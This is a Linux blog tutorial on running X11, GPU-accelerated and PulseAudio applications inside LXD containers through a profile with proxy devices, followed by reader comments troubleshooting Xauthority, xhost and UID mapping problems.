Running X11 software in LXD containers

Updated instructions for LXD 4.5 (September 2020)

LXD 4.5 has added features that make proxy devices more secure in the sense that if something goes wrong on the proxy device, your system is safer. Specifically, the proxy devices are now under AppArmor confinement. In doing so, however, something broke and it was not possible to start anymore GUI/X11 LXD containers. Among the possible workarounds and real solutions, it is better to move to a solution. And the solution is to move forward to LXD 4.6 which has a fix to the AppArmor confinement issue.

Run snap info lxd to verify which channel you are tracking. In my case, I am tracking the latest/stable channel, which currently has LXD 4.5 (proxy devices do not work). However, the latest/candidate channel has LXD 4.6, and Stéphane Graber said it has the fix for proxy devices. Be aware that we are switching to this channel for now, until LXD 4.6 is released as a stable version next week. That is, if you do the following, make a note to come back here (around next Thursday) so that you switch back from the candidate channel to a stable channel (latest/stable or the 4.6/stable).

$ snap info lxd
name:      lxd
summary:   System container manager and API
publisher: Canonical✓
...
tracking:     latest/stable
...
channels:
  latest/stable:    4.5         2020-09-18 (17299) 71MB -
  latest/candidate: 4.6         2020-09-19 (17320) 71MB -
  latest/beta:      ↑                                   
  latest/edge:      git-e1fa47b 2020-09-19 (17324) 71MB -
  4.6/stable:       –                                   
  4.6/candidate:    4.6         2020-09-19 (17320) 71MB -
  4.6/beta:         ↑                                   
  4.6/edge:         ↑                                   
...
$ 

Now, we refresh the LXD snap package into the latest/candidate channel.

$ snap refresh lxd --channel=latest/candidate
lxd (candidate) 4.6 from Canonical✓ refreshed
$ 

And that’s it. Oh no, it’s updating again.

NOTE: If you have setup the latest/candidate channel, you should be now switch to the latest/stable channel. LXD 4.6 has been released now into the stable channel. Use the following command

sudo snap refresh lxd --channel=latest/stable

The post continues…

With LXD you can run system containers, which are similar to virtual machines. Normally, you would use a system container to run network services. But you can also run X11 applications. See the following discussion and come back here. In this post, we further refine and simplify the instructions for the second way to run X applications. Previously I have written several tutorials on this.

LXD GUI profile

Here is the updated LXD profile to setup a LXD container to run X11 application on the host’s X server. Copy the following text and put it in a file, x11.profile. Note that the bold text below (i.e. X1) should be adapted for your case; the number is derived from the environment variable $DISPLAY on the host. If the value is :1, use X1 (as it already is below). If the value is :0, change the profile to X0 instead.

config:
  environment.DISPLAY: :0
  environment.PULSE_SERVER: unix:/home/ubuntu/pulse-native
  nvidia.driver.capabilities: all
  nvidia.runtime: "true"
  user.user-data: |
    #cloud-config
    runcmd:
      - 'sed -i "s/; enable-shm = yes/enable-shm = no/g" /etc/pulse/client.conf'
    packages:
      - x11-apps
      - mesa-utils
      - pulseaudio
description: GUI LXD profile
devices:
  PASocket1:
    bind: container
    connect: unix:/run/user/1000/pulse/native
    listen: unix:/home/ubuntu/pulse-native
    security.gid: "1000"
    security.uid: "1000"
    uid: "1000"
    gid: "1000"
    mode: "0777"
    type: proxy
  X0:
    bind: container
    connect: unix:@/tmp/.X11-unix/X1
    listen: unix:@/tmp/.X11-unix/X0
    security.gid: "1000"
    security.uid: "1000"
    type: proxy
  mygpu:
    type: gpu
name: x11
used_by: []

Then, create the profile with the following commands. This creates a profile called x11.

$ lxc profile create x11
Profile x11 created
$ cat x11.profile | lxc profile edit x11
$ 

To create a container, run the following.

lxc launch ubuntu:18.04 --profile default --profile x11 mycontainer

To get a shell in the container, run the following.

lxc exec mycontainer -- sudo --user ubuntu --login

Once we get a shell inside the container, you run the diagnostic commands.

$ glxinfo -B
name of display: :0
display: :0  screen: 0
direct rendering: Yes
OpenGL vendor string: NVIDIA Corporation
...
$ nvidia-smi 
 Mon Dec  9 00:00:00 2019       
+-------------------------------------------------------------------------+
| NVIDIA-SMI 430.50       Driver Version: 430.50       CUDA Version: 10.1 |    |---------------------------+----------------------+----------------------+
| GPU  Name    Persistence-M| Bus-Id        Disp.A | Volatile Uncorr. ECC |
| Fan  Temp  Perf  Pwr:Usage/Cap|     Memory-Usage | GPU-Util  Compute M. |
|===========================+======================+======================|
...
$ pactl info
 Server String: unix:/home/ubuntu/pulse-native
 Library Protocol Version: 32
 Server Protocol Version: 32
 Is Local: yes
 Client Index: 43
 Tile Size: 65472
 User Name: myusername
 Host Name: mycomputer
 Server Name: pulseaudio
 Server Version: 11.1
 Default Sample Specification: s16le 2ch 44100Hz
 Default Channel Map: front-left,front-right
 Default Sink: alsa_output.pci-0000_01_00.1.hdmi-stereo-extra1
 Default Source: alsa_output.pci-0000_01_00.1.hdmi-stereo-extra1.monitor
 Cookie: f228:e515
$

You can run xclock which is an Xlib application. If it runs, it means that unaccelerated (standard X11) applications are able to run successfully.
You can run glxgears which requires OpenGL. If it runs, it means that you can run GPU accelerated software.
You can run paplay to play audio files. This is the PulseAudio audio play.
If you want to test with Alsa, install alsa-utils and use aplay to play audio files.

Explanation

We dissect the LXD profile in pieces.

We set two environment variables in the container. $DISPLAY for X and PULSE_SERVER for PulseAudio. Irrespective of the DISPLAY on the host, the DISPLAY in the container is always mapped to :0. While the PulseAudio Unix socket is often located eunder /var, in this case we put it into the home directory of the non-root account of the container. This will make PulseAudio accessible to snap packages in the container, as long as they support the home interface.

config:
environment.DISPLAY: :0
environment.PULSE_SERVER: unix:/home/ubuntu/pulse-native

This enables the NVidia runtime with all the capabilities, if such a GPU is available. The text all for the capabilities means that it enables all of compute, display, graphics, utility, video. If you would rather restrict the capabilities, then graphics is for running OpenGL applications. And compute is for CUDA applications. If you do not have an NVidia GPU, then these directly will silently fail.

  nvidia.driver.capabilities: all
nvidia.runtime: "true"

Here we use cloud-init to get the container to perform the following tasks on the first time it starts. The sed command disables shm support in PulseAudio, which means that it enables the Unix socket support. Additionally, the listed three packages are installed with utilities to test X11 application, X11 OpenGL applications and audio applications.

  user.user-data: |
#cloud-config
runcmd:
- 'sed -i "s/; enable-shm = yes/enable-shm = no/g" /etc/pulse/client.conf'
packages:
- x11-apps
- mesa-utils
- pulseaudio

This command shares the Unix socket of the PulseAudio server on the host to the container. In the container it is /home/ubuntu/pulse-native. The security configuration refers to the host. The uid, gid and mode refer to the Unix socket in the container. This is a LXD proxy device, and binds into the container, meaning that it makes the host’s Unix socket appear in the container.

devices:
PASocket1:
bind: container
connect: unix:/run/user/1000/pulse/native
listen: unix:/home/ubuntu/pulse-native
security.gid: "1000"
security.uid: "1000"
uid: "1000"
gid: "1000"
mode: "0777"
type: proxy

This part shares the Unix socket of the X server on the host to the container. If $DISPLAY on your host is also :1, then keep the default shown below to X1. Otherwise, adjust the number accordingly. The @ character means that we are using abstract Unix sockets, which means that there is no actual file on the filesystem. Although /tmp/.X11-unix/X0 looks like an absolute path, it is just a name. We could have used myx11socket instead, for example. We use an abstract Unix socket so that it is also accessible by snap packages. We would have used an abstract Unix socket for PulseAudio, but PulseAudio does not support them. The security uid and gid refer to the host.

  X0:
bind: container
connect: unix:@/tmp/.X11-unix/X1
listen: unix:@/tmp/.X11-unix/X0
security.gid: "1000"
security.uid: "1000"
type: proxy

We make available the host’s GPU to the container. We do not need to specify explicitly which GPU we are using if we only have a single GPU.

  mygpu:
type: gpu

Installing software

You can install any graphical software. For example,

sudo apt-get install -y firefox

Then, run as usual.

firefox
Firefox running in a container.

Creating a shortcut for an X11 application in a LXD container

When we are running X11 applications from inside a LXD container, it is handy if we could have a .desktop on the host, and use it to launch the X11 application from the container. Below we do this. We perform the following on the host.

First, select an icon for the X11 application and place it into a sensible directory. In our case, we place it into ~/.local/share/icons/. You can find an appropriate icon from the resource files of the installed X11 application in the container. If we assume that the container is called steam and the appropriate icon is /home/ubuntu/.local/share/Steam/tenfoot/resource/images/steam_home.png, then we can copy this icon to the ~/.local/share/icons/ folder on the host with the following command.

lxc file pull steam/home/ubuntu/.local/share/Steam/tenfoot/resource/images/steam_home.png ~/.local/share/icons/

Then, paste the following in a text editor and save it as a file with the .desktop extension. For this example, we select steam.desktop. Fill in appropriately the Name, Comment, Exec command line and Icon.

[Desktop Entry]
 Name=Steam
 Comment=Play games on Steam
 Exec=lxc exec steam -- sudo --user ubuntu --login steam
 Icon=/home/user/.local/share/icons/steam_home.png
 Terminal=false
 Type=Application
 Categories=Game;

Finally, move the desktop file into the ~/.local/share/applications directory.

mv steam.desktop ~/.local/share/applications/

We can then look for the application on the host and place the icon on the launcher.

Conclusion

This is the latest iteration of instructions on running GUI or X11 applications and having them appear on the host’s X server.

Note that the applications in the container have full access to the X server (due to how the X server works as there are no access controls). Do not run malicious or untrusted software in the container.

Permanent link to this article: https://blog.simos.info/running-x11-software-in-lxd-containers/

105 comments

2 pings

Skip to comment form

  1. Hello. Seems nice, will it work the same way on arch? To enable gpu support with radeon cards how to edit these strings?
    nvidia.driver.capabilities: all
    nvidia.runtime: “true”

    I believe here is a typo:

    “”We do not need to specify explicitly which ->CPU<- we are using if we only have a single GPU.

    1. Hi!

      It should work on Arch as well, as long as X11 is configured along with Wayland.

      Radeon and Intel GPUs do not need any extra configuration, compared to NVidia that requires a runtime.
      It does not cause an issue if you keep these two NVidia lines. The only downside is that it will mount the nvidia runtime files from the host to the container, making them available there. It would be an issue if you do have an NVidia GPU because it might give access to the hardware.

      Thanks for pointing out the typo. Fixed.

      1. Thank you for pointing this out. Lxd from snap is working flawlessly, but i have other problems. It would be great if you can help.
        1. After lxd install via snap i had to run it only with a sudo, to fix that i added my user to an lxd group. Is that the correct fix?

        2.In places where you said that: “The security uid and gid refer to the host.”, means that i shall adopt this values to an actual one’s on the host, right? And those that are without security keyword i should leave as is.

        While creating a new container i received this error, is it related to a pulse or to the permissions?
        [code]
        Error: Error occurred when starting proxy device: Error: Failed to listen on /home/ubuntu/pulse-native: listen unix /home/ubuntu/pulse-native: bind: no such file or directory
        Name: x111804
        Location: none
        Remote: unix://
        Architecture: x86_64
        Created: 2020/01/06 09:02 UTC
        Status: Stopped
        Type: persistent
        Profiles: default, x11

        Log:

        lxc x111804 20200106090252.847 WARN cgfsng – cgroups/cgfsng.c:chowmod:1525 – No such file or directory – Failed to chown(/sys/fs/cgroup/unified//lxc.payload/x111804/memory.oom.group, 1000000000, 0)
        [/code]

        1. Indeed, your non-root account on the host needs to be a member of the lxd group in order to run lxc commands without sudo.

        If you just added your non-root account on the host to the lxd group, you would need either to logout/login, or run newgrp lxd (for the duration of the current session).

        Note though that, just like with Docker, if a non-root user on the host is a member of LXD (docker on Docker), they have effectively administrative (root) rights. That is, both LXD and Docker are feature-rich that can allow a non-root user (who is member of the respective Unix group) to get elevated to root.

        1. Indeed, the security.uid/gid refer to the host, meaning that if you use a different operating system for the host (something other than Ubuntu), you may need to make changes.
          You may also make changes for the uid, gid that related to the container, if you do not use an Ubuntu container.

        Bonus question: You got this error, /home/ubuntu/pulse-native: bind: no such file or directory. You are either using another container image (not Ubuntu), or if you are using an Ubuntu container image, you are not using the ubuntu:18.04 (or ubuntu: in general) container image.
        Verify that your container image creates a non-root account, and adapt accordingly if that non-root account is something other than ubuntu.

      2. I did logout and login before running commands and checked with ‘id’ that i really am listed in lxd group. So i edited security.gid to match value in host and runned command from tutorial:
        ‘lxc launch ubuntu:18.04 –profile default –profile x11 mycontainer’. After your reply i tryied ubuntu 19.04 with similar command ‘lxc launch ubuntu:19.04 –profile default –profile x11 ubuntu1904x11’. As a result i received the same error:
        [code]

        lxc start ubuntu1904x11
        Error: Error occurred when starting proxy device: Error: Failed to listen on /home/ubuntu/pulse-native: listen unix /home/ubuntu/pulse-native: bind: no such file or directory

        lxc info –show-log ubuntu1904x11
        Name: ubuntu1904x11
        Location: none
        Remote: unix://
        Architecture: x86_64
        Created: 2020/01/06 20:52 UTC
        Status: Stopped
        Type: persistent
        Profiles: default, x11

        Log:

        lxc ubuntu1904x11 20200106205827.309 WARN cgfsng – cgroups/cgfsng.c:chowmod:1525 – No such file or directory – Failed to chown(/sys/fs/cgroup/unified//lxc.payload/ubuntu1904x11/memory.oom.group, 1000000000, 0)

        [/code]

        Without x11 profile i can create container successfully. Issuing ‘id’ in container i get:
        ubuntu@ubuntu1904:~$ id
        uid=1000(ubuntu) gid=1001(ubuntu) groups=1001(ubuntu),4(adm),20(dialout),24(cdrom),25(floppy),27(sudo),29(audio),30(dip),44(video),46(plugdev),116(netdev),1000(lxd).

        [code]

        lxc profile show x11
        config:
        environment.DISPLAY: :0
        environment.PULSE_SERVER: unix:/home/ubuntu/pulse-native
        user.user-data: |
        #cloud-config
        runcmd:
        – ‘sed -i “s/; enable-shm = yes/enable-shm = no/g” /etc/pulse/client.conf’
        packages:
        – x11-apps
        – mesa-utils
        – pulseaudio
        description: GUI LXD profile
        devices:
        PASocket1:
        bind: container
        connect: unix:/run/user/1000/pulse/native
        gid: “1000”
        listen: unix:/home/ubuntu/pulse-native
        mode: “0777”
        security.gid: “966” – correct host gid
        security.uid: “1000”
        type: proxy
        uid: “1000”
        X0:
        bind: container
        connect: unix:@/tmp/.X11-unix/X0
        listen: unix:@/tmp/.X11-unix/X0
        security.gid: “966”
        security.uid: “1000”
        type: proxy
        mygpu:
        type: gpu
        name: x11
        used_by:
        – /1.0/containers/mycontainer
        – /1.0/containers/ubuntu1904x11
        [/code]

        I have managed to create container without x11 profile, then i have applyied it, rebooted container and had to manually install apps listed in x11 profile. Finally, running glxinfo i receive this error:
        No protocol specified
        Error: unable to open display :0

        [code]

        cat /etc/os-release
        NAME=”Ubuntu”
        VERSION=”18.04.3 LTS (Bionic Beaver)”
        ID=ubuntu
        ID_LIKE=debian
        PRETTY_NAME=”Ubuntu 18.04.3 LTS”
        VERSION_ID=”18.04″
        HOME_URL=”https://www.ubuntu.com/”
        SUPPORT_URL=”https://help.ubuntu.com/”
        BUG_REPORT_URL=”https://bugs.launchpad.net/ubuntu/”
        PRIVACY_POLICY_URL=”https://www.ubuntu.com/legal/terms-and-policies/privacy-policy”
        VERSION_CODENAME=bionic
        UBUNTU_CODENAME=bionic

        [/code]

        Maybe this is the issue?

        xauth list
        xauth: file /home/ubuntu/.Xauthority does not exist

        p.s. sorry for a mess in text formatting, but i have no clue how to correctly format text here.

      3. I have tried to manually add everything needed for gpu following steps from your previous tutorial: https://blog.simos.info/how-to-run-graphics-accelerated-gui-apps-in-lxd-containers-on-your-ubuntu-desktop/ and still i receive the same error. I have no ideas what to do next.


        [colt@fallback-os /]$ lxc config device remove ubuntu1804 X0
        Device X0 removed from ubuntu1804
        [colt@fallback-os /]$ lxc config device add ubuntu1804 X0 disk path=/tmp/.X11-unix/X0 source=/tmp/.X11-unix/X0
        Device X0 added to ubuntu1804
        [colt@fallback-os /]$ lxc config device add ubuntu1804 Xauthority disk path=/home/ubuntu/.Xauthority source=${XAUTHORITY}
        Device Xauthority added to ubuntu1804
        [colt@fallback-os /]$ lxc config device add ubuntu1804 mygpu gpu
        Device mygpu added to ubuntu1804
        [colt@fallback-os /]$ lxc config device set ubuntu1804 mygpu uid 1000
        [colt@fallback-os /]$ lxc config device set ubuntu1804 mygpu gid 1000
        [colt@fallback-os /]$ lxc exec ubuntu1804 -- sudo --login --user ubuntu
        ubuntu@ubuntu1804:~$ cat /tmp/.X11-unix/X0
        cat: /tmp/.X11-unix/X0: No such device or address
        ubuntu@ubuntu1804:~$ xclock
        No protocol specified
        Error: Can't open display: :0
        ubuntu@ubuntu1804:~$ xauth list
        xauth: timeout in locking authority file /home/ubuntu/.Xauthority
        ubuntu@ubuntu1804:~$ exit
        logout
        [colt@fallback-os /]$ lxc restart ubuntu1804
        [colt@fallback-os /]$ lxc exec ubuntu1804 -- sudo --login --user ubuntu
        ubuntu@ubuntu1804:~$ xauth list
        xauth: timeout in locking authority file /home/ubuntu/.Xauthority
        ubuntu@ubuntu1804:~$ ls -la /tmp/.X11-unix/X0
        srwxrwxrwx 1 nobody nogroup 0 Jan 8 06:06 /tmp/.X11-unix/X0
        ubuntu@ubuntu1804:~$ ls -la /home/ubuntu/.Xauthority
        -rw------- 1 ubuntu nogroup 168 Jan 8 06:06 /home/ubuntu/.Xauthority
        ubuntu@ubuntu1804:~$ cat /home/ubuntu/.Xauthority

        fallback-os0MIT-MAGIC-COOKIE-1z,�
        U����Vf�=�:
        fallback-os0MIT-MAGIC-COOKIE-1������6����'�M
        fallback-os0MIT-MAGIC-COOKIE-1������6��
        ��'�Mubuntu@ubuntu1804:~$
        ubuntu@ubuntu1804:~$ exit
        logout
        [colt@fallback-os /]$ ls -la /tmp/.X11-unix/X0
        srwxrwxrwx 1 root root 0 Jan 8 08:06 /tmp/.X11-unix/X0
        [colt@fallback-os /]$ xauth list
        fallback-os/unix:0 MIT-MAGIC-COOKIE-1 7a2ce90a55eea0c195a05666ba3d9f3a
        fallback-os/unix:0 MIT-MAGIC-COOKIE-1 c3f6b998bddc1c3683972ac1bf27d04d
        fallback-os/unix:0 MIT-MAGIC-COOKIE-1 c3f6b998bddc1c3683972ac1bf27d04d
        [colt@fallback-os /]$ echo $XAUTHORITY
        /home/colt/.Xauthority

        srwxrwxrwx 1 nobody nogroup 0 Jan 8 06:06 /tmp/.X11-unix/X0 <- is it normal that in container it’s chowned by ‘no one’?

    2. It’s a complete mess, but i finally managed to get gui. Sadly, but not with x11 profile as previous error is not gone. Possibly a next todo…
      So, what i have done.

      1. $ lxc launch ubuntu:x guiapps <- how to set here container hostname?
      2. $ lxc exec guiapps -- sudo --login --user ubuntu
      ubuntu@guiapps:~$ sudo apt update
      ubuntu@guiapps:~$ sudo apt install x11-apps mesa-utils alsa-utils
      ubuntu@guiapps:~$ exit

      Add container hostname to Xauth (source: https://ubuntuforums.org/showthread.php?t=1386329&p=8699969#post8699969)
      $ xauth list - to get host magic key
      fallback-os/unix:0 MIT-MAGIC-COOKIE-1 key1 <-
      fallback-os/unix:0 MIT-MAGIC-COOKIE-1 key2 <- why i have multiple keys?
      fallback-os/unix:0 MIT-MAGIC-COOKIE-1 key3 <-

      $ xauth add ${HOST}/unix:0 . keyN <- you have to try them all or maybe first one is the right one
      (Afterwards you can remove it issuing: xauth remove ${HOST}/unix:0)

      fix raw idmap
      $ printf "uid $(id -u) 1000\ngid $(id -g) 1000" | sudo lxc config set guiapps raw.idmap -
      $ lxc restart guiapps
      Configuring graphics and graphics acceleration
      $ lxc config device add guiapps X0 disk path=/tmp/.X11-unix/X0 source=/tmp/.X11-unix/X0
      $ lxc config device add guiapps Xauthority disk path=/home/ubuntu/.Xauthority source=${XAUTHORITY}
      $ lxc config device add guiapps mygpu gpu
      $ lxc config device set guiapps mygpu uid 1000
      $ lxc config device set guiapps mygpu gid 1000
      $ lxc restart guiapps

      At this point is working but pulse not.

      Container manual step by step configuration based on x11 profile with gui and sound working: https://pastebin.com/9is481wn


      Important changes to check:
      – manual cookie creation for XAuth
      – using socket as pulse server

      1. For the container to be able to run X11 applications and get the output sent to the host’s X server, the container needs access to the host’s X server. Repeat the same for PulseAudio.

        The host can either 1) share the X11 Unix socket to the container, 2) share the X11 Abstract Unix socket to the container, 3) expose the X TCP port (port 6000) to the container.

        I try to avoid [3] because it is likely to be less performant than a Unix socket.

        I used to demonstrate to use [1], the X11 Unix socket, which on the host is /tmp/.X11-unix/X0 (or X1). Unix sockets are cool, and they also are able to filter (i.e. permit or forbid) the calling process depending on the UID (of the calling process). Therefore, if the UID of the GUI process in the container is the same numerical as that on the host’s X server, then we get a free pass to use the socket!
        But if the UID is different, then we need to setup those MIT cookies, and xauth and what not.

        I now suggest to use instead Abstract Unix sockets for the X11 Unix socket. The X server creates both a /tmp/.X11-unix/X0 and a @/tmp/.X11-unix/X0 socket. The @ in the latter makes it an Abstract Unix socket. The latter is not an actual file but rather the full path is the identifier of this type of socket. And in this case, to be able to give access to the X server on the host, a GUI application in the container can access directly the abstract Unix socket. No need for file access permissions, nor making sure the process ID of the GUI application is the same as on the host.

        LXD supports a few ways to share the X Unix socket to the container. Either using 1) a disk LXD device (supported in all versions of LXD), 2) a proxy LXD device for a Unix socket (LXD 3.4 or newer), 3) a proxy LXD device for an abstract Unix socket (LXD even newer than 3.4).
        Personally I prefer method [3] because it is unrestricted. This post describes method 3.

        Unfortunately, PulseAudio, as packaged on Ubuntu and most other distributions, does not create by default an Abstract Unix socket. Therefore, you either need a plain Unix socket or share a TCP port (as you do in the latest example).


      2. And in this case, to be able to give access to the X server on the host, a GUI application in the container can access directly the abstract Unix socket. No need for file access permissions, nor making sure the process ID of the GUI application is the same as on the host.

        Sorry, but at this point it seems as a false positive statement, because, obviously it doesn’t work on my side like that. I have managed to get gui running with abstract socket and with XAuthority file passed.

        At this tutorial i have found a complete explanation that leads me to a point that XAuthority is actually needed.

        To complete the picture, here is the explanation why this setup works and how SSH setup differs from it. When some X11 application is started inside a container, it notices that DISPLAY variable is set to :0. This instructs it to use /tmp/.X11-unix/X0 and @/tmp/.X11-unix/X0 unix sockets as transport to X server. It tries them both and detects that the first one is working. Next the application reads XAUTHORITY variable that gives the location of the file with cookies as /root/.Xauthority. It searches it for the cookie corresponding to display :0 and uses this cookie to authorize itself within X server. X server grants permission because it previously issued this cookie and it has not expired yet.

        On the other side i haven’t found a clear answer on “Does an abstract socket needs authorization to connect X or not?”, but wiki and stackexchange and basically X.Org: Communication Between Client and Server, X.Org: Security doesn’t mention about possibility to connect to X without authorization.


        Therefore, you either need a plain Unix socket or share a TCP port (as you do in the latest example).

        Actually i have tried to use tcp port and it doesnt work, so i used plain unix socket. But it has some strange bug: sometimes i get “Connection failure: Access denied”, but mainly i manage to connect pulseaudio.

        At this point my working solution is this profile and i create container with the same domain name as my host to match XAuthority cookie.

        $ lxc profile show x11
        config:
        environment.DISPLAY: :0
        raw.idmap: |-
        uid 1000 1000
        gid 985 1000
        user.user-data: |
        #cloud-config
        runcmd:
        - 'mkdir /opt/.pulse-native'
        - 'sed -i "s/; enable-shm = yes/enable-shm = no/g" /etc/pulse/client.conf'
        - 'echo export PULSE_SERVER=unix:/opt/.pulse-native | tee --append /home/ubuntu/.profile'
        packages:
        - x11-apps
        - mesa-utils
        - pulseaudio
        description: GUI LXD profile
        devices:
        PASocket1:
        bind: container
        connect: unix:/run/user/1000/pulse/native
        gid: "1000"
        listen: unix:/opt/.pulse-native
        mode: "0777"
        security.gid: "985"
        security.uid: "1000"
        type: proxy
        uid: "1000"
        X0:
        bind: container
        connect: unix:@/tmp/.X11-unix/X0
        listen: unix:@/tmp/.X11-unix/X0
        security.gid: "985"
        security.uid: "1000"
        type: proxy
        Xauthority:
        path: /home/ubuntu/.Xauthority
        source: /home/your-host-user/.Xauthority
        type: disk
        mygpu:
        type: gpu

      3. … it seems that my last reply was identified as spam and i havent saved it in textpad.
        To summarize, my lost post: i have found no sources that mentions that client can connect to a X server without authentication via any kind of connection type( socket, abstract socket, ssh).
        Thus i can conclude that .XAuthority is needed.

        I managed to connect to X via abstract socket, but only with above mentioned file. To make setup easier i just called my container the same as my host.

        my profile that works for me out of the box: link

      4. I found your post in the spam and I approved it. It is shown above.

        My reading of the documentation is this, Except for Host Access control and Server Interpreted Access Control, each of these systems uses data stored in the .Xauthority file to generate the correct authorization information to pass along to the X server at connection setup. (man 7 Xsecurity).

        What does your xhost say? On Ubuntu, it is

        $ xhost
        access control enabled, only authorized clients can connect
        SI:localuser:myusername
        

        I am running the following in a LXD container (default, gui). Even if I put dummy (wrong) info in the .Xauthority file, the X application still runs.

        $ strace -fff -o calls.log xclock
        ^C
        $ grep -i Xauthority calls.log*
        calls.log.723:access("/home/ubuntu/.Xauthority", R_OK) = -1 ENOENT (No such file or directory)
        calls.log.876:access("/home/ubuntu/.Xauthority", R_OK) = -1 ENOENT (No such file or directory)
        $ 
        
      5. On host side xhost is empty:

        $ uname -a
        Linux fallback-os 5.2.11-arch1-1-ARCH #1 SMP PREEMPT Thu Aug 29 08:09:36 UTC 2019 x86_64 GNU/Linux
        $ xhost
        access control enabled, only authorized clients can connect

        If i run X app with no matching cookie for a container i get:

        ubuntu@fallback-os:~$ 1
        No protocol specified
        Error: Can't open display: :0
        ubuntu@fallback-os:~$ grep -i Xauthority calls.log*
        calls.log.335:access("/home/ubuntu/.Xauthority", R_OK) = 0
        calls.log.335:openat(AT_FDCWD, "/home/ubuntu/.Xauthority", O_RDONLY) = 4

        If i create wrong cookie for this container i get instead:

        ubuntu@fallback-os:~$ strace -fff -o calls.log xclock
        Invalid MIT-MAGIC-COOKIE-1 keyError: Can't open display: :0
        ubuntu@fallback-os:~$ grep -i Xauthority calls.log*
        calls.log.343:access("/home/ubuntu/.Xauthority", R_OK) = 0
        calls.log.343:openat(AT_FDCWD, "/home/ubuntu/.Xauthority", O_RDONLY) = 4

        It’s strange that on your side it works without .Xauthority in container, but i have no clue why… Possibly this question is a candidate for X.Org mailing list.

        Thank you for your effort!

      6. The reason why .Xauthority is not required for local users on Ubuntu, is this default xhost setting that Ubuntu has. It also means that I have to update this post so that users check the output of xhost for their particular distribution.

        As I wrote earlier, on Ubuntu xhost says:

        $ xhost
        access control enabled, only authorized clients can connect
        SI:localuser:myusername
        

        This means that the default desktop user myusername is not required to present the authorization of ~myusername/.Xauthority to the X server. It makes sense because they do have read access to that file anyway.

        In your case with Arch, it is fine to pass the ~/.Xauthority to the container in order to make it work.

        The alternative would be to add your user account to the xhost list. Note that this is a runtime configuration (you need to run it every time you restart).

        $ xhost +SI:localuser:myusername
        

        But if you want to make it permanent, add the following configuration as it is done in Ubuntu.

        $ cat /etc/X11/Xsession.d/60x11-common_localhost 
        # This file is sourced by Xsession(5), not executed.
        
        [ -x /usr/bin/xhost ] && [ -x /usr/bin/id ] &&
            xhost +si:localuser:`id -un` > /dev/null
        
      7. Well, that make a sense. My bad, I thought that it’s completely disabled by X server. After issuing the respective command and restarting container gui is working with no issues. Thank you for clarifying that.
        In the mean time i have found out that adding untrusted magic cookie you can run software accelerated X apps with no access to hardware acceleration.

        $ xauth -f /tmp/ff.xauth generate :0 . untrusted timeout 0
        $ xauth -f /tmp/ff.xauth list
        fallback-os/unix:0 MIT-MAGIC-COOKIE-1 b6a286868b06235655e8e7898f9c300a
        $ xauth -f /tmp/ff.xauth add mycontainer/unix:0 MIT-MAGIC-COOKIE-1 b6a286868b06235655e8e7898f9c300a
        $ xauth -f /tmp/ff.xauth remove fallback-os/unix:0
        ubuntu@mycontainer:~$ glxgears
        Error: couldn't get an RGB, Double-buffered visual

        Possible workaround is to use VirtualLg, but, in this case i think it’s redundant.

  2. Hi. After using lxc container for a some time i’m stuck with a previously ignored problem.

    Actually i have tried to use tcp port and it doesnt work, so i've used a plain unix socket. But it has some strange bug: sometimes i get “Connection failure: Access denied”, but mainly i manage to connect pulseaudio.

    Now mainly is changed to seldom and i can’t find a way to solve it. It would be great if you can help me.

    After some time of digging i started a pulse server on host in a verbose mode and checked it’s output on new connections. This is what i receive:

    I: [pulseaudio] client.c: Created 78 "Native client (UNIX socket client)"
    D: [pulseaudio] protocol-dbus.c: Interface org.PulseAudio.Core1.Client added for object /org/pulseaudio/core1/client78
    D: [pulseaudio] protocol-native.c: Protocol version: remote 33, local 32
    I: [pulseaudio] protocol-native.c: Got credentials: uid=65534 gid=65534 success=0
    W: [pulseaudio] protocol-native.c: Denied access to client with invalid authentication data.
    D: [pulseaudio] protocol-dbus.c: Interface org.PulseAudio.Core1.Client removed from object /org/pulseaudio/core1/client78
    I: [pulseaudio] client.c: Freed 78 "Native client (UNIX socket client)"
    I: [pulseaudio] protocol-native.c: Connection died.
    I: [pulseaudio] client.c: Created 79 "Native client (UNIX socket client)"
    D: [pulseaudio] protocol-dbus.c: Interface org.PulseAudio.Core1.Client added for object /org/pulseaudio/core1/client79
    D: [pulseaudio] protocol-native.c: Protocol version: remote 33, local 32
    I: [pulseaudio] protocol-native.c: Got credentials: uid=1000 gid=985 success=1
    D: [pulseaudio] protocol-native.c: SHM possible: yes
    D: [pulseaudio] protocol-native.c: Negotiated SHM: no
    D: [pulseaudio] protocol-native.c: Disabling srbchannel, reason: No SHM support
    D: [pulseaudio] module-augment-properties.c: Looking for .desktop file for pactl
    D: [pulseaudio] protocol-dbus.c: Interface org.PulseAudio.Core1.Client removed from object /org/pulseaudio/core1/client79
    I: [pulseaudio] client.c: Freed 79 "pactl"
    I: [pulseaudio] protocol-native.c: Connection died.

    Two times i called ‘pactl info’ from a container logged as ubuntu user. And i can’t find a way how to determine why my ids were incorrectly translated into nobody -> uid=65534 gid=65534.

    1. And it seems that this problem affects all my containers…

      1. I think you have a general issue with the shifting of the IDs. Have a look at https://blog.simos.info/how-to-view-the-files-of-your-lxd-container-from-the-host/ in order to check what is the real (per host) UID/GID of those files that appear as nobody/nogroup in the container.

        If you shift between enabling and disabling shiftfs, you might get this issue.

      2. Thanks, you are right. I have checked UID/GID’s using method from provided post and my container root directory UID and included rootfs directory UID/GID are completely wrong.

        -bash-4.3# ls -la secondpool/containers/skyrim/
        total 24
        d--x------ 1 1000000 root 78 Jan 23 00:16 .
        drwxr-xr-x 1 root root 12 Jan 24 19:05 ..
        -r-------- 1 root root 19771 Feb 4 21:25 backup.yaml
        -rw-r--r-- 1 root root 1042 Jan 7 10:53 metadata.yaml
        drwxr-xr-x 1 1000000 1000000 162 Jan 7 09:57 rootfs
        drwxr-xr-x 1 root root 186 Jan 7 10:53 templates

        If shiftfs is not enabled by default then i haven’t used it. I’ve created my container using your profile with slight changes to solve my problem with pulse unix socket not getting created at a container creation step, which i have mentioned a while ago. So i have no clue why it happens.

  3. Great post.

    I think it could be improved by repeating a version of your “Creating a Shortcut” section that you included in a previous post on the topic (At the bottom):

    https://blog.simos.info/running-steam-in-a-lxd-system-container/

    I would like if LXD or a plugin included a wizard to create a “GUI profile” or otherwise included it as a kind of built-in feature. It seems a potentially common and valuable use case.

    Just today I found that the “snap” of Chromium that’s forced on me in Ubuntu 19.10 breaks a couple of kind of functionality that work in the “.deb” package which is not available on Ubuntu 19.10. One solution could be to run the Chromium “.deb” packaged for Ubuntu 18.04 in an LXD GUI container.

    1. Thanks!

      I added the section on creating a shortcut in this post as well.

